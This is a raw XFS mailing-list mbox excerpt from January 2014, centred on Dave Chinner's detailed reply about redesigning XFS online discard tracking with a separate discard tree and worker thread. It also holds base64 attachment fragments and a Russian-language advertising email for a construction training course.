4ihIklXtXMsVA4tfBmTNjWclPwyzMrjmOm/HZ3WPi2989j4YXtH82X5Ed/fH0i/8ltbMsrFPujkr 3pe9zCI81GsubDvm+KxP08ZFF3smu6AsscUlZUHCktVGeXPRrGWPJo60n8ftL+9+sqh3qHjqOX49 s+XtXP3JG+uay66krHloZilXYrXM/7C2TuX2wiyjKK7bBiJup87T+Y+vj90/KDp7QUyBSrd/05px 5bwtvgeoG14+ODpy8XCbu8+pjS+D6qTyz55ec/q6sh6yn3Uu8oPstS7HeS9ko8OoqfVSE3utaFzi QRLCY4Qdn1NTvm5cmn98qM3oSwnBU15VN7eq1ByPt6t2TwveMBcJzI6jziDiqBK/3hs6M47KC6rQ /3ho/n4m+s3GgkGGZtZqQvT7COT59ac/FNDn5Blu5hQwxeoxCS0mcw5zjrbeyj8E4CvH4hFs95u9 XwVOJMWLXAvdaIrb/s6r2CGCGTpYRNQn9MmO6+iyXl+Y4buLknV7ojo7+9SSF1oSmqb9087n09MM bebfSpkQny+mW2r/IE+eui9o6aa8x0nS17lliqn0JbHi1txyDtonHkpvii4NCV2j2lF1Ub4uO0h2 dapP1eH6Q+vaGrDozIr6cpWAr7tYmhbL+I68e3E5KeLeki+bxT2aVOq69hmNTXj4d95Zr8IYDrnT uo0mz0zSIUQWr+Q6cWpU4+zIUU3J1sPzpuXpiegrqN7ZXtgnV1N9peLd5Vf7gzsebt7/k+oHj50F Y1rlJ3iXJ6U9SSJWv49hrQl22dUlz7/pgoZu3N6S5a6F3vOGLLb5J2dq1Bj3vV2aYbLzsLYQ8j8U Ir32DQplbmRzdHJlYW0NCmVuZG9iag0KNjQgMCBvYmoNCjw8L1R5cGUvWFJlZi9TaXplIDY0L1db IDEgNCAyXSAvUm9vdCAxIDAgUi9JbmZvIDIwIDAgUi9JRFs8NkRENTZBMTA0MTBEOTA0MTk2RkM5 MTUzNTFFNEQwNUM+PDZERDU2QTEwNDEwRDkwNDE5NkZDOTE1MzUxRTREMDVDPl0gL0ZpbHRlci9G bGF0ZURlY29kZS9MZW5ndGggMTk0Pj4NCnN0cmVhbQ0KeJw10KtWAnEQx/HZXZQFb3sTRWAvYoBg sBCpvIaNF6CSDT6AwUizmyw+gK9AtygmimH98/vihPmcOWfmzJkxc1HXnsux2Y4lvAnvRUSPIp6K ZAJrkX6IbCvyX1HcwVyUmahCeIJXcX0PLBquzHy3vWcDyKGAPuxbSjdw8/xfeeBDAA04gAoOoQkh tKANR3AMJ3AKZxBBDAmkkME5dOACLqELV9Bzp4xmesH4XXx54vtBbD7FT7DDHyxEfmv2B1EhHDcN CmVuZHN0cmVhbQ0KZW5kb2JqDQp4cmVmDQowIDY1DQowMDAwMDAwMDIxIDY1NTM1IGYNCjAwMDAw MDAwMTcgMDAwMDAgbg0KMDAwMDAwMDEyNSAwMDAwMCBuDQowMDAwMDAwMTg3IDAwMDAwIG4NCjAw MDAwMDA0MjYgMDAwMDAgbg0KMDAwMDAwNDIzNSAwMDAwMCBuDQowMDAwMDA0NDE0IDAwMDAwIG4N CjAwMDAwMDQ2NjIgMDAwMDAgbg0KMDAwMDAwNDgyOSAwMDAwMCBuDQowMDAwMDA1MDY4IDAwMDAw IG4NCjAwMDAwMDUzNjYgMDAwMDAgbg0KMDAwMDAwNzkzMSAwMDAwMCBuDQowMDAwMDA3OTg1IDAw MDAwIG4NCjAwMDAwMDgwMzkgMDAwMDAgbg0KMDAwMDAwODIxMiAwMDAwMCBuDQowMDAwMDA4NDU2 IDAwMDAwIG4NCjAwMDAwMDg1OTkgMDAwMDAgbg0KMDAwMDAwODYyOSAwMDAwMCBuDQowMDAwMDA4 ODAwIDAwMDAwIG4NCjAwMDAwMDg4NzQgMDAwMDAgbg0KMDAwMDAwOTEyMyAwMDAwMCBuDQowMDAw MDAwMDIyIDY1NTM1IGYNCjAwMDAwMDAwMjMgNjU1MzUgZg0KMDAwMDAwMDAyNCA2NTUzNSBmDQow MDAwMDAwMDI1IDY1NTM1IGYNCjAwMDAwMDAwMjYgNjU1MzUgZg0KMDAwMDAwMDAyNyA2NTUzNSBm DQowMDAwMDAwMDI4IDY1NTM1IGYNCjAwMDAwMDAwMjkgNjU1MzUgZg0KMDAwMDAwMDAzMCA2NTUz NSBmDQowMDAwMDAwMDMxIDY1NTM1IGYNCjAwMDAwMDAwMzIgNjU1MzUgZg0KMDAwMDAwMDAzMyA2 NTUzNSBmDQowMDAwMDAwMDM0IDY1NTM1IGYNCjAwMDAwMDAwMzUgNjU1MzUgZg0KMDAwMDAwMDAz NiA2NTUzNSBmDQowMDAwMDAwMDM3IDY1NTM1IGYNCjAwMDAwMDAwMzggNjU1MzUgZg0KMDAwMDAw MDAzOSA2NTUzNSBmDQowMDAwMDAwMDQwIDY1NTM1IGYNCjAwMDAwMDAwNDEgNjU1MzUgZg0KMDAw MDAwMDA0MiA2NTUzNSBmDQowMDAwMDAwMDQzIDY1NTM1IGYNCjAwMDAwMDAwNDQgNjU1MzUgZg0K MDAwMDAwMDA0NSA2NTUzNSBmDQowMDAwMDAwMDQ2IDY1NTM1IGYNCjAwMDAwMDAwNDcgNjU1MzUg Zg0KMDAwMDAwMDA0OCA2NTUzNSBmDQowMDAwMDAwMDQ5IDY1NTM1IGYNCjAwMDAwMDAwNTAgNjU1 MzUgZg0KMDAwMDAwMDA1MSA2NTUzNSBmDQowMDAwMDAwMDUyIDY1NTM1IGYNCjAwMDAwMDAwNTMg NjU1MzUgZg0KMDAwMDAwMDA1NCA2NTUzNSBmDQowMDAwMDAwMDU1IDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAxMDMxMSAwMDAwMCBuDQowMDAwMDEwNjg4IDAwMDAwIG4NCjAwMDAw NjA2NzMgMDAwMDAgbg0KMDAwMDA2MTA2MyAwMDAwMCBuDQowMDAwMDYxNDE2IDAwMDAwIG4NCjAw MDAwNjE0NDMgMDAwMDAgbg0KMDAwMDEzODYxMiAwMDAwMCBuDQowMDAwMTM4Nzk3IDAwMDAwIG4N CjAwMDAxNzQ1MDEgMDAwMDAgbg0KdHJhaWxlcg0KPDwvU2l6ZSA2NS9Sb290IDEgMCBSL0luZm8g MjAgMCBSL0lEWzw2REQ1NkExMDQxMEQ5MDQxOTZGQzkxNTM1MUU0RDA1Qz48NkRENTZBMTA0MTBE OTA0MTk2RkM5MTUzNTFFNEQwNUM+XSA+Pg0Kc3RhcnR4cmVmDQoxNzQ4OTYNCiUlRU9GDQp4cmVm DQowIDANCnRyYWlsZXINCjw8L1NpemUgNjUvUm9vdCAxIDAgUi9JbmZvIDIwIDAgUi9JRFs8NkRE NTZBMTA0MTBEOTA0MTk2RkM5MTUzNTFFNEQwNUM+PDZERDU2QTEwNDEwRDkwNDE5NkZDOTE1MzUx RTREMDVDPl0gL1ByZXYgMTc0ODk2L1hSZWZTdG0gMTc0NTAxPj4NCnN0YXJ0eHJlZg0KMTc2MzU0 DQolJUVPRg== ------=_Part_1041978_121993474.1389741363247-- From david@fromorbit.com Tue Jan 14 19:45:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DEB8F7F3F for ; Tue, 14 Jan 2014 19:45:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C9336304053 for ; Tue, 14 Jan 2014 17:45:11 -0800 (PST) X-ASG-Debug-ID: 1389750308-04cb6c537edc5a00001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id uwXTvtODoCQMTNRP for ; Tue, 14 Jan 2014 17:45:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmcKALDn1VJ5LKVw/2dsb2JhbABSCIMLgzqyboVPAQmBERd0giUBAQEDATocIwULCAMYCSUPBSUDIROHfAfESRcWjhtWB4Q3BIxdh1uDZYdBgwuHSoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Jan 2014 12:15:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3FXT-0007dX-Rt; Wed, 15 Jan 2014 12:45:03 +1100 Date: Wed, 15 Jan 2014 12:45:03 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20140115014503.GQ3469@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> <20140113204314.GJ3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389750308 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 03:48:46PM +0200, Alex Lyakas wrote: > >> - When a busy extent commits, by all means we "unbusy" the extent as > >> usual. But we also check in the second rbtree, whether we can issue a > >> discard for some discard range. Perhaps we can. Or we cannot because > >> of other busy extents, that have not committed yet (the numbering is > >> used to determine that). In that case, we will discard later, when all > >> the needed busy extent commit. Unless new allocation removed/changed > >> this discard range already. But we are not delaying the "unbusying" of > >> the busy extent, and we are not keeping the AGF locked (I think). > >> Also, we are issuing discards in the same place and context where XFS > >> does it today. > > > > This is where I think the issues lie. We don't want to have to do > > anything when a busy extent is removed at transaction commit - > > that's the reason online discard sucks right now. And we want to > > avoid having to care about transactions and ordering when it comes > > to tracking discard ranges and issuing them. > > > > The way I see it is that if we have a worker thread that > > periodically walks the discard tree to issue discards, we simply > > need to do a busy extent tree lookup on the range of each discard > > being tracked. If there are busy extents that span the discard > > range, then the free space isn't yet stable and so we can't issue > > the discard on that range. If there are no busy extents over the > > discard range then the free space is stable and we can issue the > > discard. > > > > i.e. if we completely dissociate the discard and busy extent > > tracking and just replace it with a busy extent lookup at discard > > time then we don't need any sort of reference counting or log > > sequence tracking on busy extents or discard ranges. > Nice. I like the idea of doing the busy extent lookup instead of > numbering busy extents and tracking the order of commits. > So first of all, this idea can also be applied to what I suggest, > i.e., doing the discard at its current place. But instead of tracking > busy extent numbers, we: > - when a busy extent commits and it has a discard range attached to > it, we lookup in the busy extents tree to check for other busy extents > overlapping the discard range. Anyways the original code locks the > pagb_lock in that context, so we might as well do the search. > - if we find an overlapping busy extent, we detach the discard-range > from our busy extent and attach it to the overlapping extent. When > this overlapping busy extent commits, we will retry the search. I don't think that busy extents should every have a pointer to the discard range. It's simply not necessary if we are looking up busy extents at discard time. Hence everything to do with discards can be removed from the busy extent tree and moved into the discard tree... > WRT that I have questions: in xfs_extent_busy_update_extent() we can > "unbusy" part of the extent, or even rb_erase() the busy extent from > the busy extent tree (it still remains in t_busy list and will be > tracked). > Q1: why it is ok to do so? why it is ok for "metadata" to reuse part > (or all) of the busy extent before its extent-free-intent is > committed? The metadata changes are logged, and crash recovery allows correct ordering of the free, realloc and modify process for metadata. Hence it doesn't matter that we overwrite the contents of the block before the free transaction is on disk - the correct contents will always be present after recovery. We can't do that for user data because we don't log user data. Therefore if we allow user data to overwrite the block whil eit is still busy, crash recovery may not result in the block having the correct contents (i.e. the transaction that freed the block never reaches the journal) and we hence expose some other user's data or metadata in the file. > Q2: assume we have two busy extents on the same discard range: > +--busy1--+ +--busy2--+ > +----------discard1--------+ > Assume that xfs_extent_busy_update_extent() fully unbusies busy1. Now > busy2 commits, searches for overlapping busy extent, does not find one > and discards discard1. I assume it is fine, because: I don't think that is correct. If we unbusy busy1 due to reallocation, we cannot issue a discard across that range. It's in use by the filesystem, and discarding that range will result in data or metadata corruption. > xfs_extent_busy_update_extent() is called before > xfs_alloc_fixup_trees() where I intend to check for overlapping > discard range. So if we manage to discard before > xfs_alloc_fixup_trees(), it is fine, because XFS has not yet really > allocated this space. Otherwise, xfs_alloc_fixup_trees() will knock > off discard1 and we will not discard. Works? You need to update the discard ranges at the same place that the busy extents are updated. That is the point that the extent is freed or allocated, and that's the point where the information about the free space the extent was allocated from is available. Hence the discard tree should be updated in the same spot from the same information. That is, on freeing via xfs_free_extent(), the xfs_extent_busy_insert() call needs to be moved inside xfs_free_ag_extent() to where it knows the entire range of the free extent that spans the extent being freed (i.e. the extent after merging). This gives you the ability to round the discard range outwards to the discard granularity. At this point, insert the extent being freed into the busy tree, and the discard range into the discard tree. The busy extents don't merge on insert, the discard ranges can merge. Note that this will capture blocks moved from the AGFL to the free space trees, which we don't currently capture now for discard. We have to insert the busy extent first, though, because ordering matters when it comes to discard range tree walks - a busy range needs to be added first so that the walk doesn't find a discard range before it's corresponding busy extent is added to the tree. When we are allocating, we need to remove discard ranges at the same places where we call xfs_extent_busy_reuse() and *after* a successful call to xfs_alloc_fixup_trees(). i.e. the allocation has not complete until after all the free space information has been updated. The range for discard needs to be trimmed only if the allocation succeeds, similarly, we only need to block on a discard in progress if the allocation succeeds.... > WRT to the worker thread: we need some good strategy when to awake it. > Like use a workqueue and a work item, that tells exactly which discard > range is now a candidate for discard and needs to be checked for > overlapping busy extents? Any extent in the discard range tree is a candidate for discard. grab the first extent, check it has no busy extents in it's range, mark it as being discarded and issue the discard (i'm assuming the tree lock is a mutex here). For the current synchronous discard implementation, on completion we can simply remove the object from the tree and free it. Drop the lock, relax, start again. Once we've walked the entire tree, set up the workqueue to run again some time in the future if there is still more work to be done. If it's empty, just return. We'll start it again when we queue up the first new discard range being inserted into the tree. (same way we run periodic inode reclaim workqueues) > > FWIW, if we do this then we can change fstrim xfs_trim_extents() to > > queue up all the work to be done in the background simply by > > populating the discard tree with all the free space ranges we wish > > to discard. This will significantly reduce the impact of fstrim on > > filesystem runtime performance as the AGF will only be held locked > > long enough to populate the discard tree. And if we do the work > > per-ag, then we are also parallelising it by allowing discards on > > multiple AGs to be issued at once and hence it will be significantly > > faster on devices that can queue TRIM commands (SATA 3.1, SAS and > > NVMe devices)..... > If we have a huge filesystem with a lot of ranges to discard, this > will require an un-bound memory amount to populate this tree? In theory, but we're talking about a fairly frequent discard issue here (e.g. every 5s) so the buildup is effectively bounded by time. If it's really a problem, we can bound it by count, too. > > The fact that this track and background issue mechanism would allow > > us to optimise both forms of discard the filesystem supports makes > > me optimistic that we are on the right path. :) > > > >> >> question that I have: > >> >> # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then > >> >> this extent is added as usual to the free-space btrees, but the > >> >> caller doesn't add it as a busy extent. This means that such extent > >> >> is suitable for allocation right away, without waiting for the log > >> >> commit? > >> > > >> > It means the extent is being moved from the AGFL to the free space > >> > btree. blocks on the AGFL have already gone through free space > >> > accounting and busy extent tracking to get to the AGFL, and so there > >> > is no need to repeat it when moving it to the free space btrees. > >> Ok, I realize now that this block has already gone through the busy > >> extent tracking via xfs_allocbt_free_block(). > > > > Right, and note that blocks going through that path aren't discarded > > due to the XFS_EXTENT_BUSY_SKIP_DISCARD flag. This is due to the > > fact they are being freed to the AGFL and as such are likely to be > > reused immediately. ;) > Yes, and WRT that: is it true to say that the following holds: > if we have busy extent with this flag, then we know appropriate range > is not in the free-space btrees. Not necessarily tree, because while the extent was pu ton the free list at the time it was marked busy (hence the skip discard), it doesn't mean that it hasn't been migrated back to the free space btree since then. > Because when we insert such busy > extent, we don't drop it into the free-space btrees. As a result, we > should never have a discard range that overlaps a busy extent with > XFS_EXTENT_BUSY_SKIP_DISCARD. Right, but a later call to xfs_alloc_fixup_trees() can move it to the free space tree if the free list was longer than needed for the current transaction. hence my comment above about us missing discards in that case. ;) > Because all our discard ranges are also > free in the free-space btrees. Therefore, busy extents with this flag > do not require any special treatment; we can ignore them fully or > simply ignore the fact that they have this special flag - they will > never have a discard range attached anyways. Pretty much - if we move discard range updates directly into the btree manipulation functions, then we can remove all knowledge of discards from the busy extent tree as discard ranges consider the free list to be "allocated space".... Cheers, Dave. -- Dave Chinner david@fromorbit.com From igor-goga@ewi.com Tue Jan 14 19:46:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E24617F3F for ; Tue, 14 Jan 2014 19:46:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EECB304043 for ; Tue, 14 Jan 2014 17:46:35 -0800 (PST) X-ASG-Debug-ID: 1389750390-04bdf0568e299a80001-NocioJ Received: from mail.expokazan.ru (mail.expokazan.ru [83.151.2.99]) by cuda.sgi.com with SMTP id 8v12nHilbtDIvktH for ; Tue, 14 Jan 2014 17:46:32 -0800 (PST) X-Barracuda-Envelope-From: igor-goga@ewi.com X-Barracuda-Apparent-Source-IP: 83.151.2.99 Received: from Unknown ([212.144.254.122]) by mail.expokazan.ru ; Wed, 15 Jan 2014 05:46:18 +0400 Message-ID: <068E26ED303740B28BB18AC56E2CFD43@mylqemo> Reply-To: =?windows-1251?B?wu7v8O7x+yDx8vDu6PLl6/zt7ukg5OX/8uXr?= =?windows-1251?B?/O3u8fLo?= From: =?windows-1251?B?wu7v8O7x+yDx8vDu6PLl6/zt7ukg5OX/8uXr?= =?windows-1251?B?/O3u8fLo?= To: , , , Subject: =?windows-1251?B?0dLQzsjSxcvczcDfIMTF39LFy9zNztHS3A==?= Date: Wed, 15 Jan 2014 02:46:43 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0dLQzsjSxcvczcDfIMTF39LFy9zNztHS3A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_123D_01CF119C.06418000" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.expokazan.ru[83.151.2.99] X-Barracuda-Start-Time: 1389750391 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_123D_01CF119C.06418000 Content-Type: multipart/alternative; boundary="----=_NextPart_001_123E_01CF119C.06418000" ------=_NextPart_001_123E_01CF119C.06418000 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =ED=E0= =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2 =D1=E0= =ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5, =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9= =F1=EB=EE=E6=ED=FB=EC =E2=EE=EF=F0=EE=F1=E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8= =F1=E4=E0=F7=E8 =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE= =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0: =D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3=EA=F6= =E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=FA= =E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB= =FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 = =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8, =E2=EE=E7=EC= =EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8 =F2=EE=ED=EA=EE=F1=F2=E8.=20 =CA=EE=ED=F2=E0=EA=F2=FB, =E0 =F2=E0=EA=E6=E5 =EF=F0=EE=E3=F0=E0=EC=EC=E0= =EA=F3=F0=F1=E0 =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8. ------=_NextPart_001_123E_01CF119C.06418000 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 = =ED=E0 =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2= =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5,=20 =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9 =F1=EB=EE=E6=ED=FB=EC =E2=EE=EF=F0=EE=F1= =E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=E4=E0=F7=E8 =EE=E1=FA=E5=EA=F2=E0 =EA= =E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE=20 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0:
 
=D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3= =EA=F6=E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE= =E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE=20 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0= =F2=E5=EB=FC=ED=FB=E5 =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2= =EA=E8, =E2=EE=E7=EC=EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8=20 =F2=EE=ED=EA=EE=F1=F2=E8.
 
=CA=EE=ED=F2=E0=EA=F2=FB, =E0 =F2=E0=EA=E6=E5 =EF=F0=EE=E3=F0=E0=EC=EC= =E0 =EA=F3=F0=F1=E0 =E2=EE=20 =E2=EB=EE=E6=E5=ED=E8=E8.
------=_NextPart_001_123E_01CF119C.06418000-- ------=_NextPart_000_123D_01CF119C.06418000 Content-Type: application/msword; name="vks__2014.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="vks__2014.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAANwAAAAAAAAAA EAAAOQAAAAEAAAD+////AAAAADYAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAe8AZBAAA8BK/AAAAAAAAEAAAAAAACAAAFiAAAA4AYmpianrkeuQAAAAAAAAAAAAAAAAAAAAA AAAZBBYALigAABiOAQAYjgEAgAgAAAAAAAAnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAADIIAAAAAAAAMggAAKsV AAAAAAAAqxUAAAAAAACrFQAAAAAAAKsVAAAAAAAAqxUAABQAAAAAAAAAAAAAAP////8AAAAAvxUA AAAAAAC/FQAAAAAAAL8VAAA4AAAA9xUAACQAAAAbFgAAFAAAAL8VAAAAAAAAGhwAACgCAAAvFgAA AAAAAC8WAAAAAAAALxYAAAAAAAAvFgAAAAAAAC8WAAAAAAAAHhcAAAAAAAAeFwAAAAAAAB4XAAAA AAAAjRsAAAIAAACPGwAAAAAAAI8bAAAAAAAAjxsAAAAAAACPGwAAAAAAAI8bAAAAAAAAjxsAACQA AABCHgAAsgIAAPQgAAA6AAAAsxsAACEAAAAAAAAAAAAAAAAAAAAAAAAAqxUAAAAAAAAeFwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAeFwAAAAAAAB4XAAAAAAAAHhcAAAAAAAAeFwAAAAAAALMbAAAAAAAA AAAAAAAAAACrFQAAAAAAAKsVAAAAAAAALxYAAAAAAAAAAAAAAAAAAC8WAADvAAAA1BsAABYAAABi GAAAAAAAAGIYAAAAAAAAYhgAAAAAAAAeFwAAagAAAKsVAAAAAAAALxYAAAAAAACrFQAAAAAAAC8W AAAAAAAAjRsAAAAAAAAAAAAAAAAAAGIYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAHhcAAAAAAACNGwAAAAAAAAAAAAAAAAAAYhgAAAAAAABiGAAA HgAAAJMaAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuxoAAAAAAAAvFgAAAAAAAP////8AAAAAsNfW1XAR zwEAAAAAAAAAAP////8AAAAAiBcAAFgAAACrGgAACAAAAAAAAAAAAAAAeRsAABQAAADqGwAAMAAA ABocAAAAAAAAsxoAAAgAAAAuIQAAAAAAAOAXAACCAAAALiEAABAAAAC7GgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7 GgAANgAAAC4hAAAAAAAAAAAAAAAAAACrFQAAAAAAAPEaAACIAAAAHhcAAAAAAAAeFwAAAAAAAGIY AAAAAAAAHhcAAAAAAAAeFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHhcA AAAAAAAeFwAAAAAAAB4XAAAAAAAAsxsAAAAAAACzGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAYhgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4XAAAA AAAAHhcAAAAAAAAeFwAAAAAAABocAAAAAAAAHhcAAAAAAAAeFwAAAAAAAB4XAAAAAAAAHhcAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAC4hAAAAAAAAHhcAAAAAAAAe FwAAAAAAAB4XAAAAAAAAHhcAAAAAAAAeFwAAAAAAAB4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeFwAAAAAAAB4XAAAAAAAAHhcA AAAAAAAyCAAAPwwAAHEUAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 